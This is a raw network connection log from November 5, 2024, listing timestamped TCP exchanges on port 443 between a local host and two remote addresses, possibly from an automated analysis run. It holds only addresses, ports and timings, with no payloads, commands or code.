Nov 5, 2024 20:51:36.547058105 CET	443	49890	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.691844940 CET	443	49890	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.692204952 CET	443	49890	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.692259073 CET	49890	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.692310095 CET	49890	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.692322969 CET	443	49890	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.692332983 CET	49890	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.692337036 CET	443	49890	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.694844961 CET	49896	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.694870949 CET	443	49896	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.694941044 CET	49896	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.695077896 CET	49896	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.695091009 CET	443	49896	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.927597046 CET	443	49891	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.928515911 CET	49891	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.928515911 CET	49891	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.928541899 CET	443	49891	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.928560019 CET	443	49891	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.930813074 CET	443	49892	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.931467056 CET	49892	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.931467056 CET	49892	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.931493998 CET	443	49892	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.931507111 CET	443	49892	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.963351965 CET	443	49893	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.963880062 CET	49893	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.963898897 CET	443	49893	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:36.964066029 CET	49893	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:36.964071989 CET	443	49893	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.063585043 CET	443	49891	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.063647032 CET	443	49891	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.063813925 CET	49891	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.063916922 CET	49891	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.063916922 CET	49891	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.063935995 CET	443	49891	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.063946009 CET	443	49891	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.066447973 CET	49897	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.066484928 CET	443	49897	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.066838980 CET	49897	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.066838980 CET	49897	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.066868067 CET	443	49897	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.068147898 CET	443	49892	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.068200111 CET	443	49892	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.068351030 CET	443	49892	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.068464994 CET	49892	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.068496943 CET	49892	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.068496943 CET	49892	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.068511963 CET	443	49892	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.068526983 CET	443	49892	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.070374966 CET	49898	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.070415020 CET	443	49898	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.070588112 CET	49898	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.070738077 CET	49898	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.070750952 CET	443	49898	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.099347115 CET	443	49893	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.099375963 CET	443	49893	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.099421978 CET	443	49893	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.099447966 CET	49893	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.099555969 CET	49893	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.099877119 CET	49893	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.099877119 CET	49893	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.099894047 CET	443	49893	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.099904060 CET	443	49893	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.106753111 CET	49899	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.106782913 CET	443	49899	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.107099056 CET	49899	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.110760927 CET	49899	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.110781908 CET	443	49899	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.125155926 CET	443	49894	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.126080990 CET	49894	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.126100063 CET	443	49894	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.130672932 CET	49894	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.130690098 CET	443	49894	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.262897015 CET	443	49894	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.262927055 CET	443	49894	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.262972116 CET	443	49894	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.263052940 CET	49894	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.263052940 CET	49894	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.263267994 CET	49894	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.263267994 CET	49894	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.263288021 CET	443	49894	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.263298035 CET	443	49894	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.265957117 CET	49900	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.265997887 CET	443	49900	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.266199112 CET	49900	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.266223907 CET	49900	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.266228914 CET	443	49900	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.375926018 CET	443	49895	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:37.376265049 CET	49895	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:37.377302885 CET	49895	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:37.377307892 CET	443	49895	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:37.377540112 CET	443	49895	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:37.378679991 CET	49895	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:37.423322916 CET	443	49895	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:37.445152998 CET	443	49896	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.446381092 CET	49896	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.446405888 CET	443	49896	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.447213888 CET	49896	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.447220087 CET	443	49896	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.586255074 CET	443	49896	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.586333036 CET	443	49896	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.586576939 CET	49896	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.586576939 CET	49896	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.586606979 CET	49896	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.586630106 CET	443	49896	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.589406967 CET	49901	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.589448929 CET	443	49901	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.589567900 CET	49901	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.589734077 CET	49901	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.589744091 CET	443	49901	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.636822939 CET	443	49895	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:37.636888981 CET	443	49895	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:37.637701035 CET	49895	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:37.637757063 CET	49895	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:37.637757063 CET	49895	443	192.168.2.6	23.32.185.164
Nov 5, 2024 20:51:37.637770891 CET	443	49895	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:37.637778997 CET	443	49895	23.32.185.164	192.168.2.6
Nov 5, 2024 20:51:37.816566944 CET	443	49897	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.817040920 CET	49897	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.817059994 CET	443	49897	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.817511082 CET	49897	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.817516088 CET	443	49897	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.821075916 CET	443	49898	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.822026014 CET	49898	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.822026014 CET	49898	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.822041988 CET	443	49898	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.822073936 CET	443	49898	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.927571058 CET	443	49899	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.928108931 CET	49899	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.928122997 CET	443	49899	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.928565979 CET	49899	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.928570032 CET	443	49899	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.953764915 CET	443	49897	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.953789949 CET	443	49897	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.953835011 CET	443	49897	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.953860044 CET	49897	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.953876019 CET	49897	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.954065084 CET	49897	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.954081059 CET	443	49897	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.954090118 CET	49897	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.954094887 CET	443	49897	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.956852913 CET	49902	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.956891060 CET	443	49902	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.957130909 CET	49902	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.957276106 CET	443	49898	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.957283020 CET	49902	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.957298040 CET	443	49902	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.957350016 CET	443	49898	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.957504988 CET	49898	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.957524061 CET	49898	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.957545042 CET	443	49898	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.957560062 CET	49898	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.957565069 CET	443	49898	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.959640026 CET	49903	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.959677935 CET	443	49903	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:37.959762096 CET	49903	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.959872961 CET	49903	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:37.959882021 CET	443	49903	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.016993999 CET	443	49900	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.017623901 CET	49900	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.017659903 CET	443	49900	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.017986059 CET	49900	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.017993927 CET	443	49900	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.080415964 CET	443	49899	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.080440044 CET	443	49899	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.080497026 CET	443	49899	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.080502987 CET	49899	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.080548048 CET	49899	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.080708981 CET	49899	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.080724955 CET	443	49899	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.080734015 CET	49899	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.080739021 CET	443	49899	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.083453894 CET	49904	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.083483934 CET	443	49904	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.083564997 CET	49904	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.083728075 CET	49904	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.083745956 CET	443	49904	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.154622078 CET	443	49900	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.154648066 CET	443	49900	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.154689074 CET	443	49900	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.154717922 CET	49900	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.154752016 CET	49900	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.154912949 CET	49900	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.154941082 CET	443	49900	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.154954910 CET	49900	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.154966116 CET	443	49900	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.158135891 CET	49905	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.158181906 CET	443	49905	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.158257008 CET	49905	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.158418894 CET	49905	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.158432961 CET	443	49905	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.338190079 CET	443	49901	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.338762045 CET	49901	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.338783026 CET	443	49901	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.339494944 CET	49901	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.339498997 CET	443	49901	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.493558884 CET	443	49901	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.493722916 CET	443	49901	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.493772030 CET	443	49901	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.493796110 CET	49901	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.493854046 CET	49901	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.493969917 CET	49901	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.493999958 CET	443	49901	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.494016886 CET	49901	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.494024992 CET	443	49901	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.496967077 CET	49906	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.497003078 CET	443	49906	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.497077942 CET	49906	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.497226000 CET	49906	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.497236967 CET	443	49906	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.711051941 CET	443	49903	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.711534023 CET	49903	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.711571932 CET	443	49903	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.712004900 CET	49903	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.712013006 CET	443	49903	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.724165916 CET	443	49902	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.724509001 CET	49902	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.724533081 CET	443	49902	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.724920034 CET	49902	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.724925041 CET	443	49902	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.839204073 CET	443	49904	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.839673996 CET	49904	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.839701891 CET	443	49904	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.840123892 CET	49904	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.840128899 CET	443	49904	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.851208925 CET	443	49903	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.852011919 CET	443	49903	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.852070093 CET	49903	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.852157116 CET	49903	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.852186918 CET	443	49903	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.852188110 CET	49903	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.852196932 CET	443	49903	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.854895115 CET	49907	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.854927063 CET	443	49907	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.854996920 CET	49907	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.855174065 CET	49907	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.855187893 CET	443	49907	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.865891933 CET	443	49902	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.865958929 CET	443	49902	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.866013050 CET	49902	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.866188049 CET	49902	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.866204977 CET	443	49902	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.866214037 CET	49902	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.866219044 CET	443	49902	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.868694067 CET	49908	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.868738890 CET	443	49908	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.868835926 CET	49908	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.868997097 CET	49908	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.869012117 CET	443	49908	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.927259922 CET	443	49905	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.927834988 CET	49905	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.927850008 CET	443	49905	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.928425074 CET	49905	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.928431034 CET	443	49905	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.975656033 CET	443	49904	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.976548910 CET	443	49904	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.976603031 CET	49904	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.976739883 CET	49904	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.976752996 CET	443	49904	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.976771116 CET	49904	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.976775885 CET	443	49904	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.980621099 CET	49909	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.980660915 CET	443	49909	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:38.980722904 CET	49909	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.980969906 CET	49909	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:38.980982065 CET	443	49909	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.069096088 CET	443	49905	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.069130898 CET	443	49905	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.069175005 CET	49905	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.069181919 CET	443	49905	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.069391012 CET	49905	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.069686890 CET	49905	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.069686890 CET	49905	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.069710970 CET	443	49905	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.069720984 CET	443	49905	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.073522091 CET	49910	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.073576927 CET	443	49910	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.073640108 CET	49910	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.073852062 CET	49910	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.073867083 CET	443	49910	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.270916939 CET	443	49906	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.271384954 CET	49906	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.271414042 CET	443	49906	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.271903038 CET	49906	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.271908045 CET	443	49906	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.409244061 CET	443	49906	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.409353971 CET	443	49906	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.409517050 CET	49906	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.409593105 CET	49906	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.409605980 CET	443	49906	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.409617901 CET	49906	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.409622908 CET	443	49906	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.412513018 CET	49911	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.412554979 CET	443	49911	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.412868023 CET	49911	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.413067102 CET	49911	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.413078070 CET	443	49911	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.596566916 CET	443	49907	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.597103119 CET	49907	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.597114086 CET	443	49907	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.597702026 CET	49907	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.597707033 CET	443	49907	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.620156050 CET	443	49908	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.620556116 CET	49908	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.620584011 CET	443	49908	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.620976925 CET	49908	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.620982885 CET	443	49908	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.730878115 CET	443	49907	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.730954885 CET	443	49907	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.731015921 CET	443	49907	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.731065035 CET	49907	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.731240988 CET	49907	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.731256962 CET	443	49907	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.731266975 CET	49907	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.731271982 CET	443	49907	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.733330011 CET	443	49909	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.733884096 CET	49909	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.733906984 CET	443	49909	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.734299898 CET	49912	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.734354019 CET	443	49912	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.734415054 CET	49909	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.734420061 CET	443	49909	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.734440088 CET	49912	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.734610081 CET	49912	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.734623909 CET	443	49912	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.757241964 CET	443	49908	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.757303953 CET	443	49908	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.757424116 CET	49908	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.757472992 CET	49908	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.757472992 CET	49908	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.757497072 CET	443	49908	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.757510900 CET	443	49908	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.759654999 CET	49913	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.759691954 CET	443	49913	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.759948969 CET	49913	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.760087013 CET	49913	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.760101080 CET	443	49913	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.861318111 CET	443	49910	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.861941099 CET	49910	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:39.861969948 CET	443	49910	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:39.862406015 CET	49910	443	192.168.2.6	13.107.253.45
